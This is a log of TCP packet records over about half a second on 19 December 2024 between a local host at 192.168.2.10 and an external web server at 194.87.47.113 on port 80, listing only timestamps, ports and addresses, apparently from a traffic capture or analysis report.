Dec 19, 2024 08:21:33.374481916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.374535084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.374572039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.414011955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.414088011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.414151907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.414305925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.414354086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.414403915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.415112972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.415163040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.415203094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.415904999 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.415949106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.416136980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.416240931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.416279078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.417063951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.417141914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.417182922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.417855024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.418014050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.418056011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.418581963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.418694973 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.418992996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.419290066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.419348955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.419392109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.420283079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.420342922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.420381069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.420922041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.421025038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.421062946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.421680927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.421797037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.421830893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.422454119 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.422538042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.422576904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.423285961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.423383951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.423424959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.424079895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.424829006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.424887896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.425004005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.425019979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.425060034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.425642014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.425753117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.425800085 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.426419020 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.426544905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.426588058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.427212000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.427334070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.427375078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.427994013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.428116083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.428157091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.428805113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.428909063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.428951025 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.429604053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.429678917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.429721117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.430367947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.430490971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.430529118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.431204081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.431284904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.431329012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.431953907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.432082891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.432127953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.432823896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.433029890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.433078051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.433521986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.433634996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.433684111 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.434330940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.434370041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.434413910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.435158014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.435266018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.435317993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.435933113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.436067104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.436113119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.436772108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.436855078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.437122107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.437504053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.437628984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.437669039 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.438296080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.438396931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.438441992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.439085960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.439174891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.439214945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.504607916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.504694939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.504735947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.504895926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.505050898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.505137920 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.505584955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.505713940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.505759001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.506365061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.506467104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.506531954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.507144928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.507276058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.507324934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.507939100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.508054018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.508097887 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.508722067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.508824110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.508862972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.557423115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.557457924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.557563066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.557781935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.557878017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.557940006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.558656931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.558772087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.558820009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.559456110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.559499979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.559556007 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.560154915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.560264111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.560306072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.560946941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.561032057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.561094999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.561743021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.561836958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.561882019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.562519073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.562639952 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.562685013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.563299894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.563410044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.563456059 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.564105034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.564198017 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.564269066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.564913034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.565053940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.565103054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.565773010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.565912008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.565952063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.566549063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.566693068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.566742897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.567234993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.605940104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.606024027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.606151104 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.606282949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.606333017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.606363058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.606885910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.606940985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.607028008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.607671022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.607722998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.607758045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.608094931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.608144045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.608217001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.608572006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.608623981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.608661890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.609359026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.609436035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.609500885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.610148907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.610209942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.610249043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.610908985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.610959053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.611110926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.611736059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.611785889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.611829042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.612519026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.612584114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.612621069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.613306046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.613359928 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.613432884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.614121914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.614172935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.614361048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.614917040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.614967108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.615031958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.615670919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.615746975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.615772009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.616470098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.616523981 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.616578102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.617254972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.617305040 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.617352009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.618047953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.618110895 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.618303061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.618988037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.619040012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.619112968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.619640112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.619697094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.619743109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.620429039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.620480061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.620547056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.621251106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.621300936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.621345997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.622025013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.622075081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.622128010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.622793913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.622845888 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.622903109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.623589993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.623640060 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.623640060 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.624389887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.624439955 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.624485970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.625202894 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.625253916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.625334024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.626015902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.626064062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.626138926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.626810074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.626856089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.626858950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.627518892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.627633095 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.627651930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.628340006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.628392935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.628482103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.629125118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.629177094 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.629223108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.629997969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.630048990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.630063057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.630750895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.630798101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.630872965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.631504059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.631556034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.696707010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.696758986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.696837902 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.697010040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.697123051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.697191954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.697844028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.697982073 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.698677063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.698743105 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.698770046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.698817968 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.699623108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.699676037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.699771881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.700263977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.700361967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.700994968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.701051950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.701081991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.701128960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.749707937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.749772072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.749898911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.749950886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.750180006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.750255108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.750310898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.750883102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.750922918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.750933886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.751717091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.751818895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.751880884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.752509117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.752563000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.752654076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.753303051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.753387928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.753432989 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.754066944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.754113913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.754172087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.754873991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.754995108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.755040884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.755629063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.755753994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.755800962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.756551027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.756593943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.756639957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.757323027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.757440090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.757488012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.758044958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.758089066 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.758276939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.758807898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.758924961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.758966923 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.759536028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.761414051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.798046112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.798099041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.798192978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.798254013 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.798305988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.798347950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:33.799092054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:33.799133062 CET	80	49720	194.87.47.113	192.168.2.10
